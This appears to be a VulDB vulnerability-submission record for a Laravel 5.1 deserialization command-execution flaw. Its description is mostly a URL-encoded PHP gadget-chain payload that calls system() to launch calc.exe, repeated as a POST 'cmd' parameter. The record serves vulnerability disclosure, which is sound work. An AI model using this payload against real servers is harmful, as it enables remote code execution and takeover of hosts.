| tiêu đề | Laravel exists command execution |
|---|
| Mô tả | laravel 5.1 exists deserialization command execution，
The laravel version number is 5.1.
This vulnerability can be used to obtain host system permissions.
The details of the vulnerability are at the following link, which is different from the chain circulating on the Internet
exp:
O%3A42%3A%22SebastianBergmann%5CRecursionContext%5CContext%22%3A1%3A%7Bs%3A50%3A%22%00SebastianBergmann%5CRecursionContext%5CContext%00arrays%22%3BO%3A42%3A%22Illuminate%5CView%5CInvokableComponentVariable%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00callable%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A28%3A%22Illuminate%5CAuth%5CRequestGuard%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00provider%22%3Bs%3A8%3A%22calc.exe%22%3Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A14%3A%22call_user_func%22%3Bs%3A10%3A%22%00%2A%00request%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A4%3A%22user%22%3B%7D%7D%7D
post pass parameter cmd parameter
cmd=O%3A42%3A%22SebastianBergmann%5CRecursionContext%5CContext%22%3A1%3A%7Bs%3A50%3A%22%00SebastianBergmann%5CRecursionContext%5CContext%00arrays%22%3BO%3A42%3A%22Illuminate%5CView%5CInvokableComponentVariable%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00callable%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A28%3A%22Illuminate%5CAuth%5CRequestGuard%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00provider%22%3Bs%3A8%3A%22calc.exe%22%3Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A14%3A%22call_user_func%22%3Bs%3A10%3A%22%00%2A%00request%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A4%3A%22user%22%3B%7D%7D%7D |
|---|
| Nguồn | ⚠️ https://github.com/beicheng-maker/vulns/issues/2 |
|---|
| Người dùng | F10wers13eiCheng (UID 30725) |
|---|
| Đệ trình | 17/08/2022 05:22 (cách đây 4 những năm) |
|---|
| Kiểm duyệt | 17/08/2022 06:46 (1 hour later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 206501 [laravel 5.1 nâng cao đặc quyền] |
|---|
| điểm | 20 |
|---|